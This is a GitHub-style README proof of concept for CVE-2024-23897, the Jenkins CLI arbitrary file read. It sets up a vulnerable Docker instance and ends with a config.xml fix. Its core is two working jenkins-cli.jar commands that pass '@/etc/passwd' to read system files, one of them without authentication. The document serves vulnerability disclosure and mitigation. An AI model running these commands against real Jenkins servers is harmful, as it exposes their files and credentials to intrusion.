CVE-2024-23897 PoC — Jenkins 安全漏洞

Description

on this git you can find all information on the CVE-2024-23897

介绍

# PoC-jenkins-rce_CVE-2024-23897.
<h2>On this git you can find all information on the CVE-2024-23897.</h2>

<div align="center">
  <img src="https://github.com/iota4/PoC-jenkins-rce_CVE-2024-23897./blob/main/1200px-Jenkins_logo.svg.png" alt="logo-jenkins">
</div>
<h3>Introduction</h3>

The issue, assigned the CVE identifier CVE-2024-23897, has been described as an arbitrary file read vulnerability through the built-in command line interface. This command parser has a feature that replaces an @ character followed by a file path in an argument with the file's contents (expandAtFiles). This feature is enabled by default and Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable it.

<h3>PoC</h3>


For this PoC, I have installed Jenkins 2.426.2 with Docker to test the exploit of the vulnerability
```
docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:2.426.2
```

After creating a user and a password, I downloaded the Jenkins CLI client (jenkins-cli.jar) on my attacking machine.
<div align="center">
  <img src="https://github.com/iota4/PoC-jenkins-rce_CVE-2024-23897./blob/main/jenkins-java.png" alt="screen1">
</div>


Then, I wrote the command for the exploit.
In this command, we need to have the credentials of the Jenkins user.
```
java -jar jenkins-cli.jar -s http://192.168.1.45:8080/ -auth "user:aze+123" connect-node "@/etc/passwd"
```

<div align="center">
  <img src="https://github.com/iota4/PoC-jenkins-rce_CVE-2024-23897./blob/main/Screenshot%20from%202024-01-27%2015-32-50.png" alt="screen2">
</div>


Another command allows displaying the first lines of a file without authentication.
```
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://192.168.1.45:8080' help "@/etc/passwd"
```

<div align="center">
  <img src="https://github.com/iota4/PoC-jenkins-rce_CVE-2024-23897./blob/main/noauth.png" alt="screen3">
</div>

<h3>Fix the vulnerability</h3>

To counter this vulnerability, you need to navigate to the Jenkins configuration file named config.xml (in my case, it is located in my Docker container, so I switch to shell mode in my container)


<div align="center">
  <img src="https://github.com/iota4/PoC-jenkins-rce_CVE-2024-23897./blob/main/jenkins-resolve.png" alt="screen4">
</div>
and add the line:

```
<expandAtFiles>false</expandAtFiles>

```
and restart jenkins :
```
service jenkins restart
```

文件快照

备注